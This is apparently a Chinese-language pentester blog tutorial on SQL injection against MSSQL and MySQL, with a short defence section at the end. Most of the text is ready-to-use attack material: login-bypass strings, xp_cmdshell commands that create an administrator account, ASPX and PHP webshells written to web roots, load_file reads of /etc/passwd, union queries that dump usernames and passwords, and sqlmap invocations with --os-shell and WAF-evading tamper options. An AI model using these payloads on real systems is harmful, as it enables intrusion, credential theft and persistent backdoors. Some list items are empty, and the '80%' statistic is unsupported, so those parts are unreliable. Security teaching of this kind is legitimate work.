SQL注入作为OWASP Top 10长期占据榜首的安全威胁,本质上是一种通过构造特殊SQL语句来操纵数据库的攻击方式。想象一下,你家的门锁原本需要正确的钥匙才能打开,但攻击者通过特殊技巧让锁芯误以为任何形状的金属片都是钥匙——这就是SQL注入的简单类比。
在实际攻击中,攻击者会利用Web应用程序对用户输入处理不当的漏洞。比如一个简单的登录表单,后端代码可能是这样的:
sql复制SELECT * FROM users WHERE username='$username' AND password='$password'
如果用户输入admin'--作为用户名,整个SQL语句就变成了:
sql复制SELECT * FROM users WHERE username='admin'--' AND password=''
这里的--是SQL注释符,使得密码验证被完全绕过。我曾在一次渗透测试中,用这个技巧在3秒内就拿到了管理员权限,当时客户的技术总监脸都绿了。
SQL注入的危害链通常是这样发展的:
MSSQL的权限体系就像公司的职级:
判断当前用户权限的经典语句:
sql复制-- 检查是否是sa权限
and 1=(select IS_SRVROLEMEMBER('sysadmin'))
-- 检查是否是dbowner权限
and 1=(SELECT IS_MEMBER('db_owner'))
当发现sa权限时,就像拿到了金库钥匙。有次我测试某企业系统时,用以下命令直接创建了系统管理员账号:
sql复制;exec master..xp_cmdshell 'net user hacker P@ssw0rd /add'
;exec master..xp_cmdshell 'net localgroup administrators hacker /add'
对于dbowner权限,获取Web目录是关键步骤。我常用的方法组合:
sql复制create table black(result varchar(7996) null, id int not null identity (1,1))
insert into black exec master..xp_cmdshell 'dir /s c:\*.aspx'
找到路径后,写入Webshell就像在别人家里安装后门:
sql复制exec master..xp_cmdshell 'echo "<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>" > c:\inetpub\wwwroot\shell.aspx'
MySQL注入就像侦探破案,需要循序渐进:
sql复制' and 1=1 --
' and 1=2 --
sql复制' order by 5 --
sql复制' union select user(),database(),version(),4 --
sql复制' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --
记得有次测试,发现客户把所有业务数据都放在一个库里,通过这个技巧直接拿到了整个电商平台的用户数据和订单信息。
MySQL的文件操作需要三个前提:
读取系统文件:
sql复制' union select 1,load_file('/etc/passwd'),3 --
写入Webshell更危险:
sql复制' union select 1,"<?php system($_GET['cmd']);?>",3 into outfile '/var/www/html/shell.php' --
曾见过有攻击者用这种方式在服务器上植入挖矿程序,导致CPU长期100%运行。
Sqlmap就像SQL注入的瑞士军刀。最基本的用法:
bash复制sqlmap -u "http://example.com/news.php?id=1" --batch
但真正的高手会使用组合拳:
bash复制sqlmap -u "http://example.com/news.php?id=1" \
--level=5 --risk=3 \
--dbms=mysql \
--os-shell
参数说明:
--level:测试等级(1-5)--risk:风险等级(1-3)--os-shell:尝试获取系统shell绕过WAF是实际渗透中的常见需求:
bash复制sqlmap -u "http://example.com/news.php?id=1" \
--tamper=space2comment \
--random-agent \
--delay=1
数据导出可以结构化保存结果:
bash复制sqlmap -u "http://example.com/news.php?id=1" \
--dump -D dbname -T users \
--output-dir=/tmp/results
有次我用--search参数意外发现了客户备份数据库中的明文密码表,这比直接注入主库获取的密码还要全。
很多开发者以为这样就能防注入:
php复制$username = str_replace("'", "", $_POST['username']);
其实远远不够。攻击者可能使用:
参数化查询是黄金标准:
python复制# Python示例
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))
最小权限原则:
WAF规则示例(Nginx):
code复制location / {
# 拦截常见SQL注入特征
if ($args ~* "union.*select") {
return 403;
}
if ($args ~* "sleep\(.*\)") {
return 403;
}
}
去年给某金融企业做渗透测试时,发现一个典型的注入漏洞:
code复制http://bank.com/account?user_id=1' and 1=1 --
code复制http://bank.com/account?user_id=1' and @@version like '%MySQL%' --
code复制http://bank.com/account?user_id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --
code复制http://bank.com/account?user_id=-1' union select 1,concat(username,':',password),3 from users --
修复方案我们建议:
真正理解防御需要先掌握攻击。我常建议开发团队:
定期进行攻防演练:让开发者亲自尝试入侵自己的系统
代码审计重点:
监控关键指标:
有个有趣的发现:80%的SQL注入漏洞都集中在查询功能的第2-5个参数位置,因为开发者往往对第一个参数检查严格,后面的就松懈了。